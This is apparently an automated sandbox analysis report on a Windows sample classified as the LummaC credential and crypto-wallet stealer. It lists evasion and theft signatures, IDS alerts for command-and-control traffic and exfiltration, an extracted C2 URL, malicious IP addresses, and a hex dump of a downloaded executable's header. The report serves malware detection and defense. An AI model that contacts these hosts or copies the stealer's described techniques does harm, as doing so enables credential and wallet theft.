Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1562587
MD5:	f3a8c08b94962f3f0c54e2e784fbc24d
SHA1:	834f7ac410e45951f097e67dece996bbbe724fec
SHA256:	621feef2764761a0d1ba4d79e580bcc00a1b1558879ed0a9273af568b3e5a150
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC Stealer

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Creates a process in suspended mode (likely to inject code)

Downloads executable code via HTTP

Entry point lies outside standard sections

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 6536 cmdline: "C:\Users\user\Desktop\file.exe" MD5: F3A8C08B94962F3F0C54E2E784FBC24D)

chrome.exe (PID: 2720 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 880 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2168 --field-trial-handle=1996,i,2893088172898688717,8554445924697785723,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 7744 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 7968 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2176 --field-trial-handle=1768,i,17015382825324976768,322143472071585607,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

cleanup

Malware Configuration

Threatname: LummaC

{"C2 url": "https://occupy-blushi.sbs/api", "Build Version": "LOGS11--LiveTraffi"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.2274029788.0000000000FB8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2195221853.0000000000FAE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2195055041.0000000000FAC000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2273994527.0000000000FAF000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 6536	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: file.exe PID: 6536	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 6536	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Click to see the 2 entries

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T18:28:09.681655+0100	2028371	3	Unknown Traffic	192.168.2.6	49707	104.21.7.169	443	TCP
2024-11-25T18:28:11.878413+0100	2028371	3	Unknown Traffic	192.168.2.6	49709	104.21.7.169	443	TCP
2024-11-25T18:28:14.594818+0100	2028371	3	Unknown Traffic	192.168.2.6	49710	104.21.7.169	443	TCP
2024-11-25T18:28:17.006434+0100	2028371	3	Unknown Traffic	192.168.2.6	49712	104.21.7.169	443	TCP
2024-11-25T18:28:19.799447+0100	2028371	3	Unknown Traffic	192.168.2.6	49718	104.21.7.169	443	TCP
2024-11-25T18:28:22.417712+0100	2028371	3	Unknown Traffic	192.168.2.6	49725	104.21.7.169	443	TCP
2024-11-25T18:28:25.099767+0100	2028371	3	Unknown Traffic	192.168.2.6	49733	104.21.7.169	443	TCP
2024-11-25T18:28:29.946179+0100	2028371	3	Unknown Traffic	192.168.2.6	49746	104.21.7.169	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T18:28:10.409865+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49707	104.21.7.169	443	TCP
2024-11-25T18:28:13.098768+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49709	104.21.7.169	443	TCP
2024-11-25T18:28:30.983780+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49746	104.21.7.169	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T18:28:10.409865+0100	2049836	1	A Network Trojan was detected	192.168.2.6	49707	104.21.7.169	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T18:28:13.098768+0100	2049812	1	A Network Trojan was detected	192.168.2.6	49709	104.21.7.169	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T18:28:32.544349+0100	2019714	2	Potentially Bad Traffic	192.168.2.6	49752	185.215.113.16	80	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-25T18:28:23.209603+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	49725	104.21.7.169	443	TCP

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: file.exe, 00000000.00000003.2446356665.0000000008150000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2526977024.0000000005DA2000.00000040.00000800.00020000.00000000.sdmp

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:49709 -> 104.21.7.169:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49709 -> 104.21.7.169:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:49725 -> 104.21.7.169:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49746 -> 104.21.7.169:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49707 -> 104.21.7.169:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49707 -> 104.21.7.169:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: https://occupy-blushi.sbs/api

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 25 Nov 2024 17:28:32 GMTContent-Type: application/octet-streamContent-Length: 2802176Last-Modified: Mon, 25 Nov 2024 17:02:44 GMTConnection: keep-aliveETag: "6744adb4-2ac200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 40 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 2b 00 00 04 00 00 39 c9 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 78 69 6c 6e 65 61 78 6a 00 80 2a 00 00 a0 00 00 00 62 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 75 72 61 6b 74 68 64 69 00 20 00 00 00 20 2b 00 00 04 00 00 00 9c 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 40 2b 00 00 22 00 00 00 a0 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: Joe Sandbox View	IP Address: 13.107.246.63 13.107.246.63
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49725 -> 104.21.7.169:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49707 -> 104.21.7.169:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49709 -> 104.21.7.169:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49733 -> 104.21.7.169:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49718 -> 104.21.7.169:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49712 -> 104.21.7.169:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49710 -> 104.21.7.169:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:49746 -> 104.21.7.169:443
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.6:49752 -> 185.215.113.16:80

Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.21
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.21
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.21
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.21
Source: unknown	TCP traffic detected without corresponding DNS query: 20.190.177.21
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.84
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 20.198.119.143
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56
Source: unknown	TCP traffic detected without corresponding DNS query: 4.245.163.56

Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=AKVsZxLC8NEf7z4&MD=enY+SlWO HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
